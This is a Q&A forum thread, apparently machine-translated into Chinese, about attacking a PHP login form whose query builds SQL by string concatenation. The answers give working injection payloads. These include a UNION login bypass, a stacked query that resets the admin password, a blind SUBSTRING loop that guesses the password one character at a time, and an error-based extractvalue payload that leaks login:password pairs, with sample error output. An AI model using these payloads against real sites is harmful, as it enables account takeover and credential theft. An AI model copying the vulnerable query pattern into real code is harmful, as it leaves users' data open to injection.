如何使用 SQL 注入提取登录信息?

How To Extract Information On Login using SQL Injection?

这是后端 PHP 代码,我将在其中测试漏洞。

if(isset($_POST["login"]) && isset($_POST["password"])){

$login = $_POST["login"];
$password = $_POST["password"];

$sql="SELECT * FROM users WHERE login='$login' AND password='$password'";

$result= mysqli_query($conn, $sql);

if(mysqli_num_rows($result) != 0){


    echo "<h1>Login Success!</h1>";

    $row = mysqli_fetch_array($result);
    extract($row);

    echo "Welcome , ".$login;


}

这是我将注入登录字段的代码。

' UNION SELECT * FROM users -- 

我似乎可以登录,但是我应该怎么做才能在注入后在错误消息或网页上的任何内容中显示密码?

比如你们推荐的查询附加到代码中以提取密码、数据库信息、所有表等

请注意,我的 SQL 知识有限,所以我可能不知道有什么问题可以解决这个问题。

假设后端或服务器端PHP代码也接受多查询执行。我也想知道如何通过多查询注入提取密码的解决方案?

类似于下面的代码,我可以更新用户的详细信息,假设我在登录字段中输入它时知道那里有管理员用户

' OR 1 = 1; UPDATE users SET password='Whosebug' WHERE login='admin' -- 

向我推荐关于在网页上显示密码或有用信息的两种解决方案,只需在登录字段中注入代码而不是 URL 注入,如果服务器可以执行 multi SQL 查询或者如果服务器无法执行多查询。

  1. 您可以多次发送输入,将 'a' 更改为 'z'

' union select * from user where login='admin' and SUBSTRING(password, 1, 1)='a' --

  1. 登录成功后,密码第一个字符为'a'或'z'。
  2. 循环第 1 步,将 SUBSTRING(password, 1, 1) 更改为 SUBSTRING(password, 2, 1) 以检测密码中的第二个字符

假设您的代码将打印出 SQL 错误到 html 响应,您可以使用基于错误的 SQL 注入。

我从这个网站得到参考 https://perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/

The ExtractValue() function generates a SQL error when it is unable to parse the XML data passed to it. Fortunately, the XML data, and, in our case, the evaluated results of our SQL query, will be be embedded into the subsequent error message. Prepending a full stop or a colon (we use the hex representation of 0x3a below) to the beginning of the XML query will ensure the parsing will always fail, thus generating an error with our extracted data. Note that this only works on MySQL version 5.1 or later. Use the LIMIT function to cycle through database information.

在密码输入中你可以做类似的事情

' AND extractvalue(rand(),concat(0x3a,(SELECT concat(login,0x3a,password) FROM users LIMIT 0,1)))--

错误会是这样的

OperationalError: (1105, "XPATH syntax error: ':username:password'")